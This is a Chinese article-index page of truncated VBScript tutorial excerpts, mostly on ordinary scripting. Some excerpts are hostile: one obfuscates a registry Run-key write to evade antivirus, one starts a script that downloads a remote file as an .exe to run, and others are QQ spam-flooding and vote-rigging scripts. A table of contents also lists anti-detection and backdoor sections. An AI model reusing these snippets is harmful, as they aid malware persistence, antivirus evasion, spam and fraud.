使用批处理文件异地备份数据库（最近几天的数据）

2017年02月06日 273 阅读

为了保障服务器中数据的可恢复性，采用异地备份数据库方案。异地备份数据分为异地备份文件数据与异地备份数据库数据二种。其中异地备份文件数据是为了备份网站中用户上传的文件而设计的。而异地备份数据库数据是将数据库中数据备份文件上传到异地服务器。一、实施过程及原理为：1. 需安装WinRAR软件，用于将多个待备份文件压缩成一个压缩文件。2. 书写备份脚步：目录定位到WinRAR软件安装路径下cd c:program fileswinrar执行rar.exe程序rar...

VBScript 中的字节数据操作函数

2017年02月06日 257 阅读

Asc 和 AscB、AscW Asc 函数返回与字符串的第一个字母对应的 ANSI 字符代码。 Asc（string）AscB 函数和包含字节数据的字符串一起使用。AscB 不是返回第一个字符的字符代码，而是返回首字节。AscW 是为使用 Unicode 字符的 32 位平台提供的。它返回 Unicode （宽型）字符代码，因此可以避免从 ANSI 到 Unicode 的代码转换。Chr 和 ChrB、ChrWChr 函数返回与指定的 ANSI 字符代码...

切换dos并dir的vbs

2017年02月06日 171 阅读

复制代码 代码如下:<script language=vbscript>Dim oShellSet oShell = WScript.CreateObject （"WSCript.shell"）oShell.run "cmd /K CD c: & dir"Set oShell = Nothing</script>...

杀毒的对vbs相当敏感 免杀

2017年02月06日 182 阅读

复制代码 代码如下:现在杀毒的对vbs相当敏感，只要发现对注册表的xx作，或使用vbs运行命令（加用户） 就可能被杀。下面谈2方法可以简单解决：1.使用连接符"&" 如：Set CURObj = CreateObject（"Wscript.Shell"）mhk="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionRun"CURObj.RegWrite ""&mhk&"internat.exe"...

多进程的vbs脚本

2017年02月06日 184 阅读

文章作者：千寂孤城 信息来源：邪恶八进制信息安全团队 朋友要刷票，我帮他写了个刷票的脚本。但是脚本只能单线程的运行，太慢了，于是我用wmi配合写了个模拟多线程的脚本。（其实是多进程的，呵呵） 复制代码 代码如下: "Createdby千寂孤城 setshell=createobject（"wscript.shell"） sethttp=createobject（"Microsoft.XMLHTTP"） "获得“wscript.exe”进程的数量 a=0 f...

Windows管理脚本学习

2017年02月06日 177 阅读

站长（reterry）推荐此篇文章，想学vbscript的朋友，我建议到微软的官方网站去看，那里的东西很不错，生动幽默，我以前学vbscirpt的时候经常去那里看，而且好多东西，不一定刚开始能看的懂，但不要灰心，把感觉不错的，你可以用本子抄一遍，学习效果会更好，然后下载个vbscirpt帮助文件，微软有的下，然后看看多练习。花了半天时间在MS TechNet看《脚本的故事》，文章写得很生动幽默，要是所有的有技术文章都以这种轻松的方式来写就好了。 WMI -...

15分钟提醒一次，珍惜时间啊

2017年02月06日 162 阅读

15分钟提醒一次，珍惜时间啊保存为.vbs复制代码 代码如下:today=Date（） years=DatePart（"yyyy",today）-1981-1 Days=DatePart（"y",today）+25 IfDatePart（"m",today）=12Then ifDatePart（"d",today）>=9Then MsgBox"ok" Years=Years+1 Days=DatePart（"d",Date）-9 endif endI...

从一个VBS脚本学习一点点东西

2017年02月06日 221 阅读

不知道是最近还是以前，反正就是这几天经常在网上看到一个刷QQ群的VBS代码。 复制代码 代码如下:SetWshShell=WScript.createObject（"WScript.Shell"） WshShell.AppActivate"群－Powers成员交流" fori=1to10"要发的次数 WScript.Sleep500"发送消息的时间间隔 WshShell.SendKeys"^v""要发的内容 WshShell.SendKeysi"这里拿每条...

VBS相册生成脚本[

2017年02月06日 168 阅读

此脚本的功能为将一个目录中的jpg,gif,png格式的图片生成Html相册，页面上的图像只是改变显示大小，并没有生成缩略图。用到的技术：Scripting.FileSystemObject，Adodb.Stream。其中得到图片长宽用了秋水无恨的Adodb.Stream取得图像的高宽 复制代码 代码如下:"/////////////////////////////////////////////// "VBS相册生成脚本，使用方法：将此文件放在sendt...

exe2swf 工具（Adodb.Stream版）

2017年02月06日 166 阅读

Exe2swf,将exe格式的flash文件转为swf格式。网上有很多这方面的工具，这个是用vbscript写的。用法： 将下面代码存为exe2swf.vbs 将exe格式的flash拖放在此文件上，即可生成swf文件， 更新日期：2005-01-2009:30 复制代码 代码如下:"exe2swf工具， "用法：将exe格式的flash拖放在此文件上，即可生成swf文件， "haiwa@http://www.51windows.Net "感谢jimbob...

使用脚本自动修改ip设置

2017年02月06日 348 阅读

vbs脚本的功能非常强大，管理系统简单方便！下面的脚本win2000和winxp都可以使用，win2003没有测试过， 应该也没有问题。如果需要经常切换网关，或是ip，这个脚本是最方便的了。稍微修改一下甚至可以做到1分钟变一次ip。 复制代码 代码如下:@Echo OffTITLE 脚本之家ip设置器:startCLSCOLOR 2f:: 使用COLOR命令对控制台输出颜色进行更改mode con cols=56 lines=20:: MODE语句为设定窗...

深入挖掘Windows脚本技术第1/2页

2017年02月06日 181 阅读

深入挖掘Windows脚本技术文章作者：zzzEVAzzz <zzzevazzz@126.com> 为使文中涉及的代码整洁，将使用论坛的PHP标签处理。（没有VBS标签，code标签不好用，郁闷） 如果转载本文，请注意做相应调整。 【目录】 1，前言 2，回顾WSH对象 3，WMI服务 4，脚本也有GUI 5，反查杀 6，来做个后门 7，结语 8，参考资料 【前言】 本文讲述一些Windows脚本编程的知识和技巧。这里的Windows脚本是指"...

用VBSCRIPT控制ONSUBMIT事件

2017年02月06日 173 阅读

问怎么用VBSCRIPT控制不让表单提交，感觉很好玩。我试着写了一段程序，竟然不能控制，气坏我了。于是搬出搜索引擎，一阵搜索，找到了答案 VBSCRIPT控制FORM Function form1_onSubmit（） Msgbox "就不让你提交" form1_onSubmit = false End Function [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]...

VBS中Select CASE的其它用法

2017年02月06日 169 阅读

marr=20selectcasetruecasemarr<12response.write"小于12"casemarr>12response.write"大于12"casemarr=12response.write"=="endselect还可以这样用casemarr>7andmarr<12...

vbscript 可以按引用传递参数吗？

2017年02月06日 179 阅读

vbscript可以按引用传递参数吗？ 比如说 functionddd（str） str=str&"12345" endfunction abc="54321" 想通过ddd（abc），把abc变成“5432112345” 要怎么改动才行呢？回答： function ddd（str） str=str & "12345" end function abc="54321" ddd abc msgbox abc [Ctrl+A 全选 注:如需引入外部Js需刷...

下载文件到本地运行的vbs

2017年02月06日 164 阅读

复制代码 代码如下:"onerrorresumenext dl=http://www.jb51.net/index.htm "这是要下载的文件的路径str="Microsoft.XMLHTTP" Setx=CreateObject（str） Setx=CreateObject（str） setS=createobject（"adodb.stream"） S.type=1 x.Open"GET",dl,False x.Send（） fname1="img.e...

飘叶千夫指源代码，又称qq刷屏器

2017年02月06日 245 阅读

复制代码 代码如下:SetWshShell=WScript.CreateObject（"WScript.Shell"） WshShell.AppActivate"" fori=1to10´要发送的次数 WScript.Sleep500´定义发送信的所要的时间以ms毫秒为单位。如：1000为一秒发一次 WshShell.SendKeys"^v"´把剪贴版上的内容粘贴出来 WshShell.SendKeysi´输...

SendKeys参考文档

2017年02月06日 152 阅读

SendKeys参考文档 一直用foxipgw程序自动登录网关，今天做了一个自动调用foxipgw的程序，就不用每次点“确定”了，代码如下。 sets=WScript.CreateObject（"WScript.Shell"） app_window=s.run（"D:SoftFoxIPGW.EXE"） WScript.Sleep200 s.AppActivateapp_window s.SendKeys"{ESC}" s.SendKeys"{ESC}" ...

VBS中SendKeys的基本应用

2017年02月06日 247 阅读

ps:不知道有人还记得这个攻击qq群的代码？就是利用这个所写的！SendKeys模拟键盘操作，将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行， 其使用格式为：object.SendKeysstring “object”：表示WshShell对象 “string”：表示要发送的按键指令字符串，需要放在英文双引号中。 1.基本键 一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.S...

VBScript教程 第十四课在VBScript中使用对象

2017年02月06日 176 阅读

使用对象无论使用的是 ActiveX？ 控件（以前称为 OLE 控件）还是 Java？ 对象，Microsoft Visual Basic Scripting Edition 和 Microsoft？ Internet Explorer 都以相同的方式处理它们。如果您使用的是 Internet Explorer 并且 ActiveX 库中安装了这些控件，就会看到由以下代码制作的页面。 <OBJECT> 标记用来包含对象，<PARAM>...